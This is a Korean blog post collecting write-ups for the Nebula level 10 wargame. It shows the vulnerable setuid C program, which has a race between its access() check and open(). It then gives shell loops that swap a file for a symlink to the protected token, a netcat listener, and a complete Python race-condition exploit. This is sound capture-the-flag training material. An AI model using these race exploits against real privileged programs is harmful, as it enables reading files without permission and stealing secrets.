https://velog.io/@woounnan/PWNABLE-Nebula-Level-10

 

PWNABLE] Nebula Level 10

실행파일 인자로 파일, ip를 입력받고파일의 내용을 해당 ip의 18211 포트로 전송한다.level10 디렉토리에는 실행파일인 flag10과 플래그가 담긴 것으로 추측되는 token 파일을 확인할 수 있는데 당연하

velog.io

https://exploit.education/nebula/level-10/
아직 소스코드가 있었네 

flag10.cpp

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
  char *file;
  char *host;

  if(argc < 3) {
      printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
      exit(1);
  }

  file = argv[1];
  host = argv[2];

  if(access(argv[1], R_OK) == 0) {
      int fd;
      int ffd;
      int rc;
      struct sockaddr_in sin;
      char buffer[4096];

      printf("Connecting to %s:18211 .. ", host); fflush(stdout);

      fd = socket(AF_INET, SOCK_STREAM, 0);

      memset(&sin, 0, sizeof(struct sockaddr_in));
      sin.sin_family = AF_INET;
      sin.sin_addr.s_addr = inet_addr(host);
      sin.sin_port = htons(18211);

      if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
          printf("Unable to connect to host %s\n", host);
          exit(EXIT_FAILURE);
      }

#define HITHERE ".oO Oo.\n"
      if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
          printf("Unable to write banner to host %s\n", host);
          exit(EXIT_FAILURE);
      }
#undef HITHERE

      printf("Connected!\nSending file .. "); fflush(stdout);

      ffd = open(file, O_RDONLY);
      if(ffd == -1) {
          printf("Damn. Unable to open file\n");
          exit(EXIT_FAILURE);
      }

      rc = read(ffd, buffer, sizeof(buffer));
      if(rc == -1) {
          printf("Unable to read from file: %s\n", strerror(errno));
          exit(EXIT_FAILURE);
      }

      write(fd, buffer, rc);

      printf("wrote file!\n");

  } else {
      printf("You don't have access to %s\n", file);
  }
}

🎪Race Condition Attack

경쟁 조건 공격을 생각해볼 수 있다.

/tmp/level10/test라는 임의의 파일을 전송한다고 가정할 때, access()가 통과된 뒤에 test 파일을 삭제하고 token에 대한 심볼릭 링크를 test로 다시 생성한다면?

token의 내용을 대상 ip에게 전송할 것이다.

🧺Proof

먼저 파일 내용을 수신하기 위해 netcat으로 18211 포트에 대해 리스닝한다.

netcat -l 18211 -k

다른 쉘에서는 옳은 권한의 파일 test를 생성한 뒤 flag10을 실행하여 access가 통과하도록 만든다.

while :; 
do 
	rm /tmp/level10/test; 
	echo 'this is test flag' > /tmp/level10/test; 
	./flag10 /tmp/level10/test 127.0.0.1;
done

또 하나의 쉘을 열고, 기존의 옳은 권한의 test를 삭제하고 token에 대한 심볼릭 링크 파일로 바꾸는 동작을 반복 실행시킨다.

while :; 
do 
	rm /tmp/level10/test; 
	ln -s /home/flag10/token /tmp/level10/test; 
done

 

https://einai.tistory.com/entry/Nebula-Level09-Level10

 

[문제풀이] Nebula, Level09, Level10

※ LEVEL 09 Q. There’s a C setuid wrapper for some vulnerable PHP code… 1234567891011121314151617181920212223242526Colored by Color Scriptercs A. 여기는 /e modifier의 기능으로 발생되는 취약점이다. e(PCRE_REPLACE_EVAL) modifier 이 변

einai.tistory.com

본 워게임은 token 파일의 내용을 얻어야 하는데 보시다시피 읽기 권한이 없는 것을 알 수 있다. 따라서 조금 전에 말한 바와 같이 우리는 두 함수가 실행되는 그 차이를 이용해서 token 파일을 읽어올 것이다. 

간단히 순서는 
1. fake_token 파일 생성
2. fake_token 파일과 token 파일을 링크할 링크 파일 생성
3. 포트 오픈 
4. flag10 실행 파일의 인자로 2번에서 생성한 링크 파일을 제공 

https://flack3r.tistory.com/entry/exploit-exercisenebula-level10

 

[exploit exercise]nebula level10

...2시간 동안 삽질해서 푼 레이스컨디션.. 파이썬 코드로 작성했다. import os import socket import subprocess import threading import time import signal def read_until(s,msg): tmp = "" while True: tmp += s.recv(1) if msg in tmp: print

flack3r.tistory.com

 

import os
import socket
import subprocess
import threading
import time
import signal

def read_until(s,msg):
	tmp = ""
	while True:
		tmp += s.recv(1)
		if msg in tmp:
			print tmp
			return

def GetFlag():
	s = socket.socket()
	Port = ('localhost',18211)
	s.bind(Port)
	s.listen(10)
	while True:
		cs,addr = s.accept()
		#print "[*]serer start "
		pid = os.fork()
		if pid==0:
			print "[*]server connection success ! "
			print read_until(cs,".oO Oo.")
			time.sleep(1)
			buf = cs.recv(100)
			print "[*]file is "+buf
			os.system("echo \""+buf+"\"> result")
			exit()
		else:
			os.waitpid(pid,0)
def Racefile():
	while True:
		os.system("rm -rf token")
		os.system("echo 'aaa' >> token")
		os.system("rm -rf token;ln -sf /home/flag10/token token")
			

def Attack():
	while True:
		args = "/home/flag10/flag10 token 127.0.0.1"
		proc = subprocess.Popen(args,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE)
		output = proc.communicate()[0]
			
		#print "[*]result: %s" %(output)
		os.system("rm -rf token")


def main():
	pid = os.fork()
	if pid == 0:
		Racefile()

	pid2 = os.fork()
	if pid2 == 0:
		GetFlag()

	Attack()



if __name__ == '__main__':
	main()

블로그 이미지

wtdsoul

,